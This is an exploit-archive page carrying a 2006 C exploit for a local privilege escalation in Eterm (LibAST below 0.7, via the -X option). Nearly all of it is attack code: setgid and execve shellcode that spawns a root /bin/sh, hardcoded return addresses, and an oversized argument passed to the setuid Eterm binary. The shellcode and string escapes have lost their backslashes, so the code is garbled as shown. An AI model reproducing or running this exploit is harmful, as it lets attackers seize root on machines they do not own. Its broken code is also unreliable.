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# Title : Eterm LibAST < 0.7 (-X Option) Local Privilege Escalation Exploit
# Published : 2006-01-24
# Author : Johnny Mast
# Previous Title : Oracle Database Server 9i/10g (XML) Buffer Overflow Exploit
# Next Title : Xmame <= 0.102 (-pb/-lang/-rec) Local Buffer Overflow Exploit
// eterm by default isn't setuid but there is a lot of instances where
// it needs setuid root/utmp to run different options. /str0ke
/***************************************************************************
* Copyright ?Rosiello Security 2006 *
* *
* URL: http://www.rosiello.org *
* Author: Johnny Mast *
* e-mail: rave@rosiello.org *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the *
* Free Software Foundation, Inc., *
* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
***************************************************************************/
//Exploit for Ubuntu with no randomized stack
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[] =
/* Set gid */
"x90x90x90x90x90x90x90"
"x31xdbx31xc9xbbxffxffxffxffxb1x2bx31xc0xb0x47xcdx80"
"x31xdbx31xc9xb3x2bxb1x2bx31xc0xb0x47xcdx80"
/* execve() */
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long ret = 0xd096edb7;
unsigned long shell = 0xbfffebfd;
int main(void)
{
char *first, *last, *ptr;
char a[4], b[4];
int slen = strlen(shellcode);
if (!(first = (char *)malloc(4165)))
{
printf("%s:%d Could not allocate required memoryn", __FILE__, __LINE__);
exit(-1);
}
if (!(last = (char *)malloc(16)))
{
printf("%s:%d Could not allocate required memoryn", __FILE__, __LINE__);
exit(-1);
}
if (!(ptr = (char *)malloc(4183)))
{
printf("%s:%d Could not allocate required memoryn", __FILE__, __LINE__);
exit(-1);
}
strcpy(first, shellcode);
memset(first+slen, 'A', 4162-slen);
memset(last, 'A', 12);
first[4162] = ' ';
last[12] = ' ';
a[0] = (ret >> 24) & 0xff;
a[1] = (ret >> 16) & 0xff;
a[2] = (ret >> 8) & 0xff;
a[3] = (ret) & 0xff;
b[0] = (shell >> 24) & 0xff;
b[1] = (shell >> 16) & 0xff;
b[2] = (shell >> 8) & 0xff;
b[3] = (shell) & 0xff;
sprintf(ptr, "%s%c%c%c%c%s%c%c%c%c", first,a[0],a[1], a[2], a[3], last,
b[3],b[2],b[1],b[0]);
execl("/usr/bin/Eterm", "eterm", "-X", ptr, NULL);
return 0;
}
// www.Syue.com [2006-01-24]